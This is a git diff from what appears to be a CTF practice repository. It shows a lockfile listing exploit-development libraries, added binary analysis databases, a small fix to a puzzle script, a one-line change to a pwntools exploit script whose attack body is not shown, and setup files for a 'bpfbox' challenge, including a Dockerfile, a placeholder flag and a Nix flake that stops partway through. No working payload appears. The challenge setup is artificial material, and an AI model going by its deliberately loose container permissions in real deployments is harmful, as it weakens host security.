+ { url = "https://files.pythonhosted.org/packages/7c/e4/56027c4a6b4ae70ca9de302488c5ca95ad4a39e190093d6c1a8ace08341b/requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c", size = 64847, upload-time = "2025-06-09T16:43:05.728Z" },
+]
+
+[[package]]
+name = "ropgadget"
+version = "7.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b5/ad/7c6c9078c143d5cb7965f2d06a3aadc5f9e638276dd86e57ce8c9a30457c/ropgadget-7.6.tar.gz", hash = "sha256:8883c54e4627073a2ce7cd8adbaf7ef72478442c0a5da1308c3c2e37641174c3", size = 25848, upload-time = "2025-01-28T19:34:00.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5d/de/a51149ceea68dc0abbf62b9381ebe87db493a19192d563fe77bfdad5fb02/ROPGadget-7.6-py3-none-any.whl", hash = "sha256:749176f0d210498869ac849a1414912488c0c8c4853b823d22888e2b49a67391", size = 32397, upload-time = "2025-01-28T19:33:58.788Z" },
+]
+
+[[package]]
+name = "rpyc"
+version = "6.0.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "plumbum" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" },
+]
+
+[[package]]
+name = "six"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
+]
+
+[[package]]
+name = "sortedcontainers"
+version = "2.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
+]
+
+[[package]]
+name = "unicorn"
+version = "2.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/40/64/5b37c21ff413341ca00236f2ff1c712296232239995949f4ca02c10ce357/unicorn-2.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:eb018793a60151f8b1682d80fd6e60cd20407be25f88b25612006ab344c2c621", size = 12885488, upload-time = "2025-02-13T15:28:56.54Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/11/e3b8589df44f6d637a2839d7747ab2da2e406cd8624d8892199fb987654a/unicorn-2.1.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8aab7f7cc2570585ee37335af51dddf0992629c36983e205a924e459cccb993d", size = 15286698, upload-time = "2025-02-13T15:29:00.017Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/33/ad3727494c2342b664e92dfeca6a2739be2a40b3c9842afab2216df41659/unicorn-2.1.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a763d3dc0afea744d0275293c51c377570354e475a6cfb79e8a8fbc4c3b4c17", size = 19738716, upload-time = "2025-02-13T15:29:03.178Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/dd/60d3453364ccaa08da5084cfffb3f8e32abb69289d813117035cce59e46b/unicorn-2.1.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a3f886db8d977ae4b36810e5fe3dd0d2ba2151d030e64db47ae2c5f1115efa8", size = 16341447, upload-time = "2025-02-13T15:29:07.261Z" },
+ { url = "https://files.pythonhosted.org/packages/44/ed/d78471db33f82dd9c5e5715c15239dd8b7e531911d55709e2337c910194d/unicorn-2.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:31a506cd0f3a65e69219f06bf8744520334ff12219905c00779bb93307c50e03", size = 15825061, upload-time = "2025-02-13T15:29:10.229Z" },
+ { url = "https://files.pythonhosted.org/packages/db/77/6cab866f23f1ab5b03b18303de06ddb7bc14009e5bda7131a5b33715074e/unicorn-2.1.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c0148d061466a9f69bbd1ae5bf0087696a405c05471693c5f20e98cf81cdb086", size = 20386199, upload-time = "2025-02-13T15:29:14.44Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/5d/f56e0e140203ddc9384d311001595d55800bd59e1aa51ef5e4523bca73e4/unicorn-2.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7c7cb06d93844c69126c07f77ce34cd51ce63c352b5d0cfdc331b522eef2c0e3", size = 16670403, upload-time = "2025-02-13T15:29:19.32Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/71/6422b3e260e3463538fa1434e82d56fc2913ab6eabebfafee93b302a0eb7/unicorn-2.1.2-cp312-cp312-win32.whl", hash = "sha256:1f324c54fdc132e69e4cbb14c2e256bcc9eba67891561f06ca90db89511a10d2", size = 11731856, upload-time = "2025-02-13T15:29:22.143Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/1b/b7b70183ad0559ce20818a5adf9eeaf289afcef7f371df4c549cd0ff1c4d/unicorn-2.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:04133be6fd0b80301f2bd44fcc18840db0ab44753a7fe2185280c437f97bb87c", size = 15859730, upload-time = "2025-02-13T15:29:26.053Z" },
+ { url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" },
+ { url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" },
+ { url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" },
+ { url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" },
+ { url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" },
+ { url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" },
+]
+
+[[package]]
+name = "unix-ar"
+version = "0.2.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/8a/78/16493d9c386d8e60e442a35feac5e00f0913c0f4b7c217c11e8ec2ff53e0/urllib3-2.4.0.tar.gz", hash = "sha256:414bc6535b787febd7567804cc015fee39daab8ad86268f1310a9250697de466", size = 390672, upload-time = "2025-04-10T15:23:39.232Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/6b/11/cc635220681e93a0183390e26485430ca2c7b5f9d33b15c74c2861cb8091/urllib3-2.4.0-py3-none-any.whl", hash = "sha256:4e16665048960a0900c702d4a66415956a584919c03361cac9f1df5c5dd7e813", size = 128680, upload-time = "2025-04-10T15:23:37.377Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.23.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation == 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ed/f6/2ac0287b442160a89d726b17a9184a4c615bb5237db763791a7fd16d9df1/zstandard-0.23.0.tar.gz", hash = "sha256:b2d8c62d08e7255f68f7a740bae85b3c9b8e5466baa9cbf7f57f1cde0ac6bc09", size = 681701, upload-time = "2024-07-15T00:18:06.141Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7b/83/f23338c963bd9de687d47bf32efe9fd30164e722ba27fb59df33e6b1719b/zstandard-0.23.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:b4567955a6bc1b20e9c31612e615af6b53733491aeaa19a6b3b37f3b65477094", size = 788713, upload-time = "2024-07-15T00:15:35.815Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/b3/1a028f6750fd9227ee0b937a278a434ab7f7fdc3066c3173f64366fe2466/zstandard-0.23.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1e172f57cd78c20f13a3415cc8dfe24bf388614324d25539146594c16d78fcc8", size = 633459, upload-time = "2024-07-15T00:15:37.995Z" },
+ { url = "https://files.pythonhosted.org/packages/26/af/36d89aae0c1f95a0a98e50711bc5d92c144939efc1f81a2fcd3e78d7f4c1/zstandard-0.23.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b0e166f698c5a3e914947388c162be2583e0c638a4703fc6a543e23a88dea3c1", size = 4945707, upload-time = "2024-07-15T00:15:39.872Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/2e/2051f5c772f4dfc0aae3741d5fc72c3dcfe3aaeb461cc231668a4db1ce14/zstandard-0.23.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:12a289832e520c6bd4dcaad68e944b86da3bad0d339ef7989fb7e88f92e96072", size = 5306545, upload-time = "2024-07-15T00:15:41.75Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/9e/a11c97b087f89cab030fa71206963090d2fecd8eb83e67bb8f3ffb84c024/zstandard-0.23.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d50d31bfedd53a928fed6707b15a8dbeef011bb6366297cc435accc888b27c20", size = 5337533, upload-time = "2024-07-15T00:15:44.114Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/79/edeb217c57fe1bf16d890aa91a1c2c96b28c07b46afed54a5dcf310c3f6f/zstandard-0.23.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:72c68dda124a1a138340fb62fa21b9bf4848437d9ca60bd35db36f2d3345f373", size = 5436510, upload-time = "2024-07-15T00:15:46.509Z" },
+ { url = "https://files.pythonhosted.org/packages/81/4f/c21383d97cb7a422ddf1ae824b53ce4b51063d0eeb2afa757eb40804a8ef/zstandard-0.23.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53dd9d5e3d29f95acd5de6802e909ada8d8d8cfa37a3ac64836f3bc4bc5512db", size = 4859973, upload-time = "2024-07-15T00:15:49.939Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/15/08d22e87753304405ccac8be2493a495f529edd81d39a0870621462276ef/zstandard-0.23.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:6a41c120c3dbc0d81a8e8adc73312d668cd34acd7725f036992b1b72d22c1772", size = 4936968, upload-time = "2024-07-15T00:15:52.025Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/fa/f3670a597949fe7dcf38119a39f7da49a8a84a6f0b1a2e46b2f71a0ab83f/zstandard-0.23.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:40b33d93c6eddf02d2c19f5773196068d875c41ca25730e8288e9b672897c105", size = 5467179, upload-time = "2024-07-15T00:15:54.971Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/a9/dad2ab22020211e380adc477a1dbf9f109b1f8d94c614944843e20dc2a99/zstandard-0.23.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9206649ec587e6b02bd124fb7799b86cddec350f6f6c14bc82a2b70183e708ba", size = 4848577, upload-time = "2024-07-15T00:15:57.634Z" },
+ { url = "https://files.pythonhosted.org/packages/08/03/dd28b4484b0770f1e23478413e01bee476ae8227bbc81561f9c329e12564/zstandard-0.23.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:76e79bc28a65f467e0409098fa2c4376931fd3207fbeb6b956c7c476d53746dd", size = 4693899, upload-time = "2024-07-15T00:16:00.811Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/64/3da7497eb635d025841e958bcd66a86117ae320c3b14b0ae86e9e8627518/zstandard-0.23.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:66b689c107857eceabf2cf3d3fc699c3c0fe8ccd18df2219d978c0283e4c508a", size = 5199964, upload-time = "2024-07-15T00:16:03.669Z" },
+ { url = "https://files.pythonhosted.org/packages/43/a4/d82decbab158a0e8a6ebb7fc98bc4d903266bce85b6e9aaedea1d288338c/zstandard-0.23.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:9c236e635582742fee16603042553d276cca506e824fa2e6489db04039521e90", size = 5655398, upload-time = "2024-07-15T00:16:06.694Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/61/ac78a1263bc83a5cf29e7458b77a568eda5a8f81980691bbc6eb6a0d45cc/zstandard-0.23.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a8fffdbd9d1408006baaf02f1068d7dd1f016c6bcb7538682622c556e7b68e35", size = 5191313, upload-time = "2024-07-15T00:16:09.758Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/54/967c478314e16af5baf849b6ee9d6ea724ae5b100eb506011f045d3d4e16/zstandard-0.23.0-cp312-cp312-win32.whl", hash = "sha256:dc1d33abb8a0d754ea4763bad944fd965d3d95b5baef6b121c0c9013eaf1907d", size = 430877, upload-time = "2024-07-15T00:16:11.758Z" },
+ { url = "https://files.pythonhosted.org/packages/75/37/872d74bd7739639c4553bf94c84af7d54d8211b626b352bc57f0fd8d1e3f/zstandard-0.23.0-cp312-cp312-win_amd64.whl", hash = "sha256:64585e1dba664dc67c7cdabd56c1e5685233fbb1fc1966cfba2a340ec0dfff7b", size = 495595, upload-time = "2024-07-15T00:16:13.731Z" },
+ { url = "https://files.pythonhosted.org/packages/80/f1/8386f3f7c10261fe85fbc2c012fdb3d4db793b921c9abcc995d8da1b7a80/zstandard-0.23.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:576856e8594e6649aee06ddbfc738fec6a834f7c85bf7cadd1c53d4a58186ef9", size = 788975, upload-time = "2024-07-15T00:16:16.005Z" },
+ { url = "https://files.pythonhosted.org/packages/16/e8/cbf01077550b3e5dc86089035ff8f6fbbb312bc0983757c2d1117ebba242/zstandard-0.23.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:38302b78a850ff82656beaddeb0bb989a0322a8bbb1bf1ab10c17506681d772a", size = 633448, upload-time = "2024-07-15T00:16:17.897Z" },
+ { url = "https://files.pythonhosted.org/packages/06/27/4a1b4c267c29a464a161aeb2589aff212b4db653a1d96bffe3598f3f0d22/zstandard-0.23.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2240ddc86b74966c34554c49d00eaafa8200a18d3a5b6ffbf7da63b11d74ee2", size = 4945269, upload-time = "2024-07-15T00:16:20.136Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/64/d99261cc57afd9ae65b707e38045ed8269fbdae73544fd2e4a4d50d0ed83/zstandard-0.23.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ef230a8fd217a2015bc91b74f6b3b7d6522ba48be29ad4ea0ca3a3775bf7dd5", size = 5306228, upload-time = "2024-07-15T00:16:23.398Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/cf/27b74c6f22541f0263016a0fd6369b1b7818941de639215c84e4e94b2a1c/zstandard-0.23.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:774d45b1fac1461f48698a9d4b5fa19a69d47ece02fa469825b442263f04021f", size = 5336891, upload-time = "2024-07-15T00:16:26.391Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/18/89ac62eac46b69948bf35fcd90d37103f38722968e2981f752d69081ec4d/zstandard-0.23.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f77fa49079891a4aab203d0b1744acc85577ed16d767b52fc089d83faf8d8ed", size = 5436310, upload-time = "2024-07-15T00:16:29.018Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/a8/5ca5328ee568a873f5118d5b5f70d1f36c6387716efe2e369010289a5738/zstandard-0.23.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac184f87ff521f4840e6ea0b10c0ec90c6b1dcd0bad2f1e4a9a1b4fa177982ea", size = 4859912, upload-time = "2024-07-15T00:16:31.871Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/ca/3781059c95fd0868658b1cf0440edd832b942f84ae60685d0cfdb808bca1/zstandard-0.23.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c363b53e257246a954ebc7c488304b5592b9c53fbe74d03bc1c64dda153fb847", size = 4936946, upload-time = "2024-07-15T00:16:34.593Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/11/41a58986f809532742c2b832c53b74ba0e0a5dae7e8ab4642bf5876f35de/zstandard-0.23.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:e7792606d606c8df5277c32ccb58f29b9b8603bf83b48639b7aedf6df4fe8171", size = 5466994, upload-time = "2024-07-15T00:16:36.887Z" },
+ { url = "https://files.pythonhosted.org/packages/83/e3/97d84fe95edd38d7053af05159465d298c8b20cebe9ccb3d26783faa9094/zstandard-0.23.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a0817825b900fcd43ac5d05b8b3079937073d2b1ff9cf89427590718b70dd840", size = 4848681, upload-time = "2024-07-15T00:16:39.709Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/99/cb1e63e931de15c88af26085e3f2d9af9ce53ccafac73b6e48418fd5a6e6/zstandard-0.23.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:9da6bc32faac9a293ddfdcb9108d4b20416219461e4ec64dfea8383cac186690", size = 4694239, upload-time = "2024-07-15T00:16:41.83Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/50/b1e703016eebbc6501fc92f34db7b1c68e54e567ef39e6e59cf5fb6f2ec0/zstandard-0.23.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fd7699e8fd9969f455ef2926221e0233f81a2542921471382e77a9e2f2b57f4b", size = 5200149, upload-time = "2024-07-15T00:16:44.287Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/e0/932388630aaba70197c78bdb10cce2c91fae01a7e553b76ce85471aec690/zstandard-0.23.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:d477ed829077cd945b01fc3115edd132c47e6540ddcd96ca169facff28173057", size = 5655392, upload-time = "2024-07-15T00:16:46.423Z" },
+ { url = "https://files.pythonhosted.org/packages/02/90/2633473864f67a15526324b007a9f96c96f56d5f32ef2a56cc12f9548723/zstandard-0.23.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ce8b52c5987b3e34d5674b0ab529a4602b632ebab0a93b07bfb4dfc8f8a33", size = 5191299, upload-time = "2024-07-15T00:16:49.053Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/4c/315ca5c32da7e2dc3455f3b2caee5c8c2246074a61aac6ec3378a97b7136/zstandard-0.23.0-cp313-cp313-win32.whl", hash = "sha256:a9b07268d0c3ca5c170a385a0ab9fb7fdd9f5fd866be004c4ea39e44edce47dd", size = 430862, upload-time = "2024-07-15T00:16:51.003Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/bf/c6aaba098e2d04781e8f4f7c0ba3c7aa73d00e4c436bcc0cf059a66691d1/zstandard-0.23.0-cp313-cp313-win_amd64.whl", hash = "sha256:f3513916e8c645d0610815c257cbfd3242adfd5c4cfa78be514e5a3ebb42a41b", size = 495578, upload-time = "2024-07-15T00:16:53.135Z" },
+]
diff --git a/2024/hackropole/pwn/bofbof/bofbof.i64 b/2024/hackropole/pwn/bofbof/bofbof.i64
new file mode 100644
index 0000000..79b36cc
Binary files /dev/null and b/2024/hackropole/pwn/bofbof/bofbof.i64 differ
diff --git a/2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/challenge/sound_of_silence.i64 b/2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/challenge/sound_of_silence.i64
new file mode 100644
index 0000000..f9cfe01
Binary files /dev/null and b/2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/challenge/sound_of_silence.i64 differ
diff --git a/2024/insomnihack/misc/puzzled/puzzled.py b/2024/insomnihack/misc/puzzled/puzzled.py
index 1f17e57..d823155 100755
--- a/2024/insomnihack/misc/puzzled/puzzled.py
+++ b/2024/insomnihack/misc/puzzled/puzzled.py
@@ -20,7 +20,7 @@ def cutPieces(image_path, output_name_scheme):
cell_height = height // 3
# Split the original image into 9 pieces
- for i in range(16):
+ for i in range(9):
# Calculate the coordinates of the current grid cell
x1 = (i % 3) * cell_width
y1 = (i // 3) * cell_height
diff --git a/2024/insomnihack/pwn/promis/exploit.py b/2024/insomnihack/pwn/promis/exploit.py
index 24945e2..6bc07b3 100644
--- a/2024/insomnihack/pwn/promis/exploit.py
+++ b/2024/insomnihack/pwn/promis/exploit.py
@@ -1,6 +1,6 @@
from pwn import *
-context.binary = ELF("./promis_patched")
+context.binary = ELF("./promis")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
diff --git a/2025/google/misc-bpfbox-patched/.python-version b/2025/google/misc-bpfbox-patched/.python-version
new file mode 100644
index 0000000..e4fba21
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/.python-version
@@ -0,0 +1 @@
+3.12
diff --git a/2025/google/misc-bpfbox-patched/Dockerfile b/2025/google/misc-bpfbox-patched/Dockerfile
new file mode 100644
index 0000000..7df270c
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/Dockerfile
@@ -0,0 +1,23 @@
+FROM nixos/nix AS build
+
+RUN mkdir -p /build
+WORKDIR /build
+
+COPY flag.txt flake.nix flake.lock /build/
+COPY ./init /build/init/
+RUN nix --extra-experimental-features nix-command --extra-experimental-features flakes build
+
+FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f
+
+RUN apt-get update && apt-get install -y qemu-system-x86
+
+WORKDIR /
+COPY --from=build /build/result/bzImage /build/result/initrd.gz /
+COPY run_qemu /
+CMD kctf_setup && \
+ chmod 0777 /dev/kvm && \
+ chmod 0777 /dev/vhost-vsock && \
+ kctf_drop_privs \
+ socat \
+ TCP-LISTEN:1337,reuseaddr,fork \
+ EXEC:"kctf_pow /run_qemu"
diff --git a/2025/google/misc-bpfbox-patched/flag.txt b/2025/google/misc-bpfbox-patched/flag.txt
new file mode 100644
index 0000000..b74658b
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/flag.txt
@@ -0,0 +1 @@
+CTF{this isn't a flag}
diff --git a/2025/google/misc-bpfbox-patched/flake.lock b/2025/google/misc-bpfbox-patched/flake.lock
new file mode 100644
index 0000000..a9304f0
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/flake.lock
@@ -0,0 +1,26 @@
+{
+ "nodes": {
+ "nixpkgs": {
+ "locked": {
+ "lastModified": 1749857119,
+ "narHash": "sha256-tG5xUn3hFaPpAHYIvr2F88b+ovcIO5k1HqajFy7ZFPM=",
+ "owner": "NixOS",
+ "repo": "nixpkgs",
+ "rev": "5f4f306bea96741f1588ea4f450b2a2e29f42b98",
+ "type": "github"
+ },
+ "original": {
+ "id": "nixpkgs",
+ "ref": "nixos-25.05",
+ "type": "indirect"
+ }
+ },
+ "root": {
+ "inputs": {
+ "nixpkgs": "nixpkgs"
+ }
+ }
+ },
+ "root": "root",
+ "version": 7
+}
diff --git a/2025/google/misc-bpfbox-patched/flake.nix b/2025/google/misc-bpfbox-patched/flake.nix
new file mode 100644
index 0000000..9f74567
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/flake.nix
@@ -0,0 +1,51 @@
+{
+ description = "bpfbox";
+
+ inputs = {
+ nixpkgs.url = "nixpkgs/nixos-25.05";
+ };
+
+ outputs = { self, nixpkgs }:
+ let
+ pkgs = import nixpkgs { system = "x86_64-linux"; };
+ lib = pkgs.lib;
+ init = pkgs.buildGoModule {
+ name = "init";
+
+ vendorHash = null;
+
+ src = ./init;
+ };
+ initrdEnv = pkgs.buildEnv {
+ name = "initrd-env";
+ paths = with pkgs; [
+ pkgsStatic.busybox
+ bpftrace
+ init
+ ];
+ pathsToLink = [
+ "/bin"
+ ];
+ };
+ kernel = pkgs.linuxPackages.kernel;
+ initrd = pkgs.makeInitrdNG {
+ name = "initramfs";
+ contents = [
+ { source = "${initrdEnv}/bin"; target = "/bin"; }
